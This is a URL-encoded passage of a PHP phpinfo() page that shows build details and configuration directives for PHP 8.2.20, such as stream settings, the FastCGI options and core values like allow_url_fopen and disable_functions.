E%3Ctd%20class%3D%22v%22%3E420220829%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EZend%20Extension%20Build%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EAPI420220829%2CNTS%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EPHP%20Extension%20Build%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EAPI20220829%2CNTS%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EDebug%20Build%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Eno%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EThread%20Safety%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Edisabled%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EZend%20Signal%20Handling%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Eenabled%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EZend%20Memory%20Manager%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Eenabled%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EZend%20Multibyte%20Support%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Edisabled%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EZend%20Max%20Execution%20Timers%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Edisabled%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EIPv6%20Support%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Eenabled%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EDTrace%20Support%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Eavailable%2C%20disabled%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3ERegistered%20PHP%20Streams%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Ehttps%2C%20ftps%2C%20compress.zlib%2C%20php%2C%20file%2C%20glob%2C%20data%2C%20http%2C%20ftp%2C%20phar%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3ERegistered%20Stream%20Socket%20Transports%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Etcp%2C%20udp%2C%20unix%2C%20udg%2C%20ssl%2C%20tls%2C%20tlsv1.0%2C%20tlsv1.1%2C%20tlsv1.2%2C%20tlsv1.3%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3ERegistered%20Stream%20Filters%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Ezlib.*%2C%20string.rot13%2C%20string.toupper%2C%20string.tolower%2C%20convert.*%2C%20consumed%2C%20dechunk%2C%20convert.iconv.*%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ctable%3E%0A%3Ctr%20class%3D%22v%22%3E%3Ctd%3E%0A%3Ca%20href%3D%22http%3A%2F%2Fwww.zend.com%2F%22%3E%3Cimg%20border%3D%220%22%20src%3D%22data%3Aimage%2Fpng%3Bbase64%2CiVBORw0KGgoAAAANSUhEUgAAAPoAAAAvCAYAAADKH9ehAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAEWJJREFUeNrsXQl0VNUZvjNJSAgEAxHCGsNitSBFxB1l0boUW1pp3VAUrKLWKgUPUlEB13K0Yq1alaXWuh5EadWK1F0s1gJaoaCgQDRKBBJDVhKSzPR%2BzPfg5vLevCUzmZnwvnP%2Bk8ybN3fevfff73%2FvBAJTHxc%2BkhL5kr6T1ODk5nAgTRTWloghFVtEg%2Fzfh2PkSvq9pJGSKiX9SdKittbJoD%2FPSYkrJD0vKeB4IsNNotfuUtHk%2FCM%2BIvijpF9KGiDpGEkLJZ3lC7qPeKKTpD9IWiDpUOfWPCi61ZeLvD2VIhTwp9QlTjK5NsIXdB%2FxxHmSpvD%2FOucWPSAyQw2%2BLfeG1SbXVra1Tqb785xUaNdMel0g7Iu5V1zPv6dJqpD0kKR%2F%2BILuI55o8oeg1bFT0kWSOkraQxK%2BoPvw0TZR3ZY758foyQXf%2F%2FZxUFh0Q%2FGEfNf9gHkaJ6m7pHJJSyTt9tnXhxtBR2EGlnHCMbZMaHuHzX19JZ0u6VRJh0k6hM%2BBpMjnklZIelPSNhff3V5StkNlEWBMFm%2B3LcC%2BBW3GuZP2GvfmiEiCCMUzxZIKRGSt9zeML%2FfdGAW9JB3O8c6SlMZ%2Bb5f0qaQiF7EpnieXY1auvZfG7zhSUk8RSS428F7M5xfsh1eAV%2FvxOzoq16sklZBqbdpo5H2qDPRQXoP3Ki0%2B20FSFyrZUgt%2BRt%2F7KH2vZb8%2Ft%2FiMG2Sy%2F0dI6sbvgHGoV8a3xErQb5Q0iTfHCplkzlkW7w%2BVNF3ST7QJUzFK0pVkDFiw%2ByV95uC7r5Z0k3CW2ApwIkrJ9B9IelfSh2SIlqC%2FpDFUZAVk0rQoMhk2GYswx%2BAtWvMKPtcyEckW37pPwsIHNAuBniDpYhEpBMmJwvibJL0gIlVh39r0C8UlczkXQ%2FmM6OtEzuf3RfPVAxUY47f5PStcGKPxpOMldbbxiBptPMavJX1PuQ%2FP%2Folyz12S7rD4PLyqBTQ8gyXVSOot6VK%2BdxR53wyl7POjkv7pkpcwpleJSCHP4eQjM0BB%2FZuG4Hl9EO8mQx4ZQ0FfL%2Bk%2Bk%2Bt4wNlULpkO24IGnSzpQklzKPDRAMvZ1eXz9uXfH%2FPvx5Ie44C5zYQXUgDPj6LEnMCQ3AFkjjupjGF9%2FkJmxPw1oiquz%2B6dalXcCRSmYxwK0kDSRI71azb3Y%2B6GiMi6P%2F5ey3F3YpExjxdQoG61uX8gBetkh2OWFkUIVGUT1pS9yosZNu1nkl8uZH%2Bmikhxkx1wz7mkB0WkXsKJFw1ZuSWKotY9wjNJS6mUy41JK5P0c2qCnBgIeQWZvEK7Dnf6WUljTT5TS7d0KwezkJShdWIeGeuKKJo7FktUQylcl0i6RtL%2FHH4OjP%2BwB0UTLTGHfubRDWyi1g7SaoZQ495z9w7RpaHKqHEfLeklEyWzk%2B7dl3TTu1KQCpV7%2BpBB4IWstFFAgvOpJnTL6DoW0xPbw3k%2FnIYkW%2BkbmHeXhUEABklazrBDBdzTDfyuBo5DPq1eoUk7ZbSk70l6n3MZjUdCDpQvMF%2Frezn7%2FhX7Xs8wsj%2F7rsrWdQxnZtrwwENUosJkDDZxTjOUkEH1ds6lzJyDZzGScRsonGNcMCIG%2BWgRKTRQ8Su2p7uRi%2FmlKjZKekREChS2KIOcTvfqp3RZDlM%2Bcxnfv8Thc75Pt8kqo92VzNTbxBqcQlceivAdByHDIxbvFTMOLovyHAGGK3qc%2FjJDoDc4hpjABzBm4UAglBFqEAOqt8mB29ss4uJnNCHfSK%2FtVZMYEfMykt7Bcco1eDLDHCT8gmzzRdLHZL6wRSgzg6GIgVl8Xj2uhPA%2BoQn53yTdK2mVMC8NzuJ8zaSyM%2FApxyzWCFJRvUQ3eQ29BTNFcRgt%2BFTl2g30zDZZtD%2FZRMifE5ES6Y9MxqAHQ7XZikI9nd97j5p1f83GZTPr6Crt2sOcOB1zTYT8HrqjVRZx4wbSAt47SXn%2FYsZV9zp4zuvJgNGQRaszmoN1rBY6IH4dHiVHcA5dZd2zeIbPv8ZBkghYTQFTx%2Fh1WvSz6c3kM5ewGG8Prvxc5DZWS2u%2BdypnM5Y3sIJMXmbxfXW0misZN56oxITnWsyl2fg%2B6%2BC%2BzWTefMWr68RwaYF271htHBZqCsKqL28wB%2FACjYShrE9nUjfWmEU33A7woqbR4k5UlNk4yoYOzOHvtGs30KO1QgnlZC2VohGOIGn7WEvW0ZdoMeCHfBgdo8X%2B%2Bm3V%2Bs2wEHKzJMblJom92%2Bne2SHDwT1gknUispPpJLrrVZqwLxTmy5F5jOdVS72F%2Fb6UwlbrcEytrD00%2Ba8l%2FZUM82jEZd8peu8uNYS8JxNWqis5IYqQCy1rPUULh8Y7fOYal3zzmPb6aJN7zlf%2B32bBV9ESclNE85WUX4j4oNbl%2FfM1b2eoxX3jyXNqiDTP4Xe8Rm9ItfSjvAr6DM0d%2Bo5MXW%2FCuHO0a7eZTLYT3KF9LktYZ%2FWdCI%2BIkoV%2BlFZ6l3J9OF14HdM0F3MrhXxFjJmqhh5FBera24XqxaCqL0UosK97Z2ku%2ByJaEqf4D62ByoROcjZuN78Xaa9zTBSzKvxvC%2BvlrmgWVPU2h4j4FCO5lZ%2BvNBnpYHHfOOX%2FPfR83eApTaGM8CLop5l88WSLWAOu4AiNme5owcBO1xhlLGO%2FeGAFkyYqrtFe5zKzqU7KBE5o%2FBAIiv7VJSK7qV4GhEF1XtSk0YseWl6lWYI%2BcXj6pigJLkH3Vk0qfebxe4q0JGOGSDxCWn%2FNchk9qJgMfGKS87LDes1IHeVW0LszgaC6sPMYE5lBt4CzRcuy4lVMLKlWfWwcJ%2BYpxtcGjtOYfzRjTgNIlv0rnpyCveeHNFSJ%2FjUlonH%2F3nNYqyOU28qYhHOLbzVPqFc81JQDKxnQ5twLdmjfmQzlxU6eoZ%2Fmma3y8D3VonlhUr6bElhMwJ81RseSxW%2BjfOYULdYGAw5s4WBtpeU0ijKwxnp%2FHCfn70piCNlMFEUU8%2FWpmnZe1Bq80r96m5yMkIwx9nnNHTWFs114q0ArM1HsiUY7j5%2FrKFIThdrrzR7agHyoy9vd3Ag64uEfKa%2BxjIKlLqtTUBB7FWgJrQ9joFl1d2cQ2wzHaeDXa6%2FztO9Wx%2BOT%2BFrzSAKuV12ptOZp%2BljnaVawk8uxDpnMZXYCGB3PXqe5sl7QQ5ubhhQR9B4mQpvjIR%2BgJgrbOxV0rK%2FrVUyXmyRWdI2a2YLEhVP3BwmN9sJ9BtQpKkxiSDOrUeUhaeQaPevKzKQ3oIVTSGatcynoRl29sIkh440a8pURNoz00Ab4Ts1obxCps1FKl8k5IpKbcmsgu6nz6ETQC%2BiSqoKKOPmVJBmYnDjHX4EozB9s7TgwykkyYS13URAHpmstYIloOP%2FHEi6Wx5a4%2BDwSpH2V18tTyHUPm3iQeS1s09ai4%2F0ntVgNRQmzHTRulGwaQNnei3FgHqPcMBEJlXrNioAaE8AcupKBd7ElBu1uTxCzg%2BdmKB4TahiQNX%2FOxssAb00Uzdeci4S3FYhEQdfkWCrc1cI2K%2B2EDhsP1OUxZGUnOWTmcgphV0UgZ4jUR1hLlBiuJfqJpb61CXimOrq8RqiEeu6TU3iMwdzYgWhUnWHDDKr0ptLar6USqmOfYYiGMMTUN%2FKgziGVTo%2BpNJHBBfF0zVAQc6N2DUL%2BtcO2Yc1Rk2ss%2ByBmOko43yCSCljJXAWA7PD4eAt6MBy2yiNACRvVVN05t40pPLYPsT%2BzlRDpOLG%2FJt8OSGKhmnBpivV7q%2FY6JkucVgkyWKb52rVZwl0tvNDi%2BAzRvKjfK1Dnjvpd1FhPEc1LBVsbqENXN35cFaPY2BIVGdlWYZKqgPPj%2FRythNtpcNycpoOxwAae0bGwhAkAQg01cfiDWDRqZtHhCqFQ5FAtOXKXh%2FYh6Ci2N5YMUDW2SHg%2FN3scn02N%2B%2BcnMIZCBdwS9gtApRxqDc6OlzWtSrdc8cJGlzP5fzZDri1tQNixISWL%2F5fSQvcVzfe%2FwzXfSG8Kuw03pHB%2Ft5KMik%2BEYJ1EC1d0zCw6fofqRI2ZJwpvyxN4uPs0q%2F6UR2szyESobxatf3aa7jvfrT0DGPNpYV3H3CI0BYLGllQdy7TX14rUP%2FzzDHpuRp0EPLnJvH68Qij%2FRXnyIyku5Ea%2B5S3NO7s01q77eMY1qqY8T7Qs%2B4qtq%2Bo2UWhjZO6HuWhjJBlZXWbAHvbFSTAxqMW%2BRbuG3VfviAP36tshujINh6Tr3kE0BNMl5x8Qq6%2BmVTdwrMlzpRrGaGPzVpw9NDNFngjoFZZzRCS%2FFRPXHRZT31X2MgfYTQYX1WE1moaaQJfKEFTs%2FcamkXnUwt9YtNWPiuc67VmRlb0yiRgS%2FcAe7is0QXuTAm9kikM2DNc5OkeGRaMU8tq0TJHbUCOtezMeRfITiSv1PLLbGE5gb%2FNOB%2F1AuR1KlLETDltidyR4XIPasyEnc6eIbRa9kfNifFeXJOAnVJBiKfFCvobcLKccLHWojHJpIPH3iXQlpoNLrdcH44sucvmQOHHjZ9rDrGdbixVmbk%2FXGy4mtiKuoQDjmQpFJLs6wuSZvqKmL0ky6zOZLry%2B420UKUaue5ooyeqy9%2BiopgM989cp1Dcp16bSU1tOJbyFyjedTID5wOk6OAUFFXUDKFRLkmBM3xH7fzIJwPLsxexDMWP2b8g38DqN45ywCuH0VNuv%2BXmjwOYCjtUakbg6AkGlNoQGBMB5A9g8hh2g7zFE2U4F35FxfHfmwwbxcz3Yl32C%2FoAwPwDAS6UXdpOhXPZ27Trc9R%2FSLTla0zzGoXl2QAexnLVZJB%2FCZMpV7HthfL4lJIrb54u%2Btdv3%2FrCiSbw%2Bk88yM9ZxXgKwlHmZycq13iSr0KeMHmUZw6r1VICrLT4D5fy4wq%2F5DAvfjaWC9oAd9KxwTNUJynUjL%2BEqpwSTME1zOWMBuIxmZ7p9RCsNq%2BNmdxW09I1MdNkJeYZNHsIt0qKEO2Z4kvmHadS%2BXqv2cqzc93rpuhdl54tg2DISuJljBW3uZjMHrAPqHOYK6zPIM23G2%2B14Rts4cyLbdxo3Y667UskOo%2FW%2Fm%2FPwRhQBwZFkT2vXzDbTtLMZCyfP1155bbfDrpjKZoYH41bO%2Bd97jmEgMPVxFMF0iHESIkiNtDhKuwV058cw0dBZNP%2BlFsSU%2F6VWf0E4P%2Fx%2BIF2eJnokr4uW%2F2jAKPYjjRb7Cxef70c3qsCl0im1Gj%2FUu2eF6sWo0rUiTQq7zS%2BpYjywnXYwcyOZfI4mKgHj9N2ttHqbRfSlQXhjw5XXy4S7ZbzOovkxVRsphHp8ia3HlyleZS1zHcvoVrdjuNFdEe7edGHzSbpSria%2FWZ3%2BcxYV5DCx%2F4w7FUfyfTW0WO%2Bi7x2YrzKUXZFw%2Fsut%2BOxJDGkHUxEZPwgCquQcIgxZR9oXekDQk8FF60bqwocupaIoEz6EmaC3C%2B0Ro6Wgp4eb2tpPJqN%2B4xXFXQ3TfUfCc5PDNnLZDpLIV1NADKyjZa87mHgmWX57bYdIfIY3pdCGf43xQUXI62kBn3fZxi4SPC8crIjDQ4yzFAaz%2FXcPJn7xf03VRzIB5Z7qCbBzPQi5jga2E9bCD%2BELug8ficEZCk%2FCmj8Ro3aLtLxDR1%2FQffhIHNRTUZCf%2BS5G7SJBp2b7G31B9%2BEjcVAFEInZQ2LU7jiN1zf4gu7DR%2BKwTvkfO9bGx6BNnEQ8XXmN5cT3fEH34SNxwN4A9dgknIEwyWNbeRTwV7WYHBVwFQfbwKb7vOUjiYAiKVT1PczXqCLD%2Fn5UbuLcNxTKoCgExSFNmsFCHI6iJBQFnUbqqbWPHyFceDAOrC%2FoPpIN%2BFVaVLrNUa6dLPbvoEQdO4pd1OUylBVkCutsOkqosbNvwcE6qL6g%2B0hG3MY4ejots1pT3kE4P9QDdfuLKeDfHswD6gu6j2TF2yQcLoqEGurre9EdP1QTfmxJRdn0NlrvD%2BjmY69Egz%2BUQvxfgAEALJ4EcRDa%2FtoAAAAASUVORK5CYII%3D%22%20alt%3D%22Zend%20logo%22%20%2F%3E%3C%2Fa%3E%0AThis%20program%20makes%20use%20of%20the%20Zend%20Scripting%20Language%20Engine%3A%3Cbr%20%2F%3EZend%26nbsp%3BEngine%26nbsp%3Bv4.2.20%2C%26nbsp%3BCopyright%26nbsp%3B(c)%26nbsp%3BZend%26nbsp%3BTechnologies%3Cbr%20%2F%3E%26nbsp%3B%26nbsp%3B%26nbsp%3B%26nbsp%3Bwith%26nbsp%3BZend%26nbsp%3BOPcache%26nbsp%3Bv8.2.20%2C%26nbsp%3BCopyright%26nbsp%3B(c)%2C%26nbsp%3Bby%26nbsp%3BZend%26nbsp%3BTechnologies%3Cbr%20%2F%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Chr%20%2F%3E%0A%3Ch1%3EConfiguration%3C%2Fh1%3E%0A%3Ch2%3E%3Ca%20name%3D%22module_calendar%22%20href%3D%22%23module_calendar%22%3Ecalendar%3C%2Fa%3E%3C%2Fh2%3E%0A%3Ctable%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3ECalendar%20support%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Eenabled%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ch2%3E%3Ca%20name%3D%22module_cgi-fcgi%22%20href%3D%22%23module_cgi-fcgi%22%3Ecgi-fcgi%3C%2Fa%3E%3C%2Fh2%3E%0A%3Ctable%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Ephp-fpm%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Eactive%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ctable%3E%0A%3Ctr%20class%3D%22h%22%3E%3Cth%3EDirective%3C%2Fth%3E%3Cth%3ELocal%20Value%3C%2Fth%3E%3Cth%3EMaster%20Value%3C%2Fth%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Ecgi.discard_path%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Ecgi.fix_pathinfo%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Ecgi.force_redirect%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Ecgi.nph%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Ecgi.redirect_status_env%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Ecgi.rfc2616_headers%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Efastcgi.error_header%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Efastcgi.logging%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Efpm.config%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ch2%3E%3Ca%20name%3D%22module_core%22%20href%3D%22%23module_core%22%3ECore%3C%2Fa%3E%3C%2Fh2%3E%0A%3Ctable%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3EPHP%20Version%20%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E8.2.20%20%3C%2Ftd%3E%3C%2Ftr%3E%0A%3C%2Ftable%3E%0A%3Ctable%3E%0A%3Ctr%20class%3D%22h%22%3E%3Cth%3EDirective%3C%2Fth%3E%3Cth%3ELocal%20Value%3C%2Fth%3E%3Cth%3EMaster%20Value%3C%2Fth%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eallow_url_fopen%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eallow_url_include%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Earg_separator.input%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%26amp%3B%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%26amp%3B%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Earg_separator.output%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%26amp%3B%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%26amp%3B%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eauto_append_file%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eauto_globals_jit%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eauto_prepend_file%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Ebrowscap%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Edefault_charset%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EUTF-8%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EUTF-8%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Edefault_mimetype%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Etext%2Fhtml%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3Etext%2Fhtml%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Edisable_classes%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Edisable_functions%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Edisplay_errors%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Edisplay_startup_errors%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Edoc_root%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Edocref_ext%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Edocref_root%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eenable_dl%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eenable_post_data_reading%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eerror_append_string%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eerror_log%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eerror_log_mode%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E0644%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E0644%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eerror_prepend_string%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eerror_reporting%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E22527%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E22527%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eexpose_php%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOff%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Eextension_dir%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%2Fusr%2Flib%2Fphp%2F20220829%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%2Fusr%2Flib%2Fphp%2F20220829%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Efiber.stack_size%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3E%3Ci%3Eno%20value%3C%2Fi%3E%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Efile_uploads%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3Ctd%20class%3D%22v%22%3EOn%3C%2Ftd%3E%3C%2Ftr%3E%0A%3Ctr%3E%3Ctd%20class%3D%22e%22%3Ehard_timeout%3C%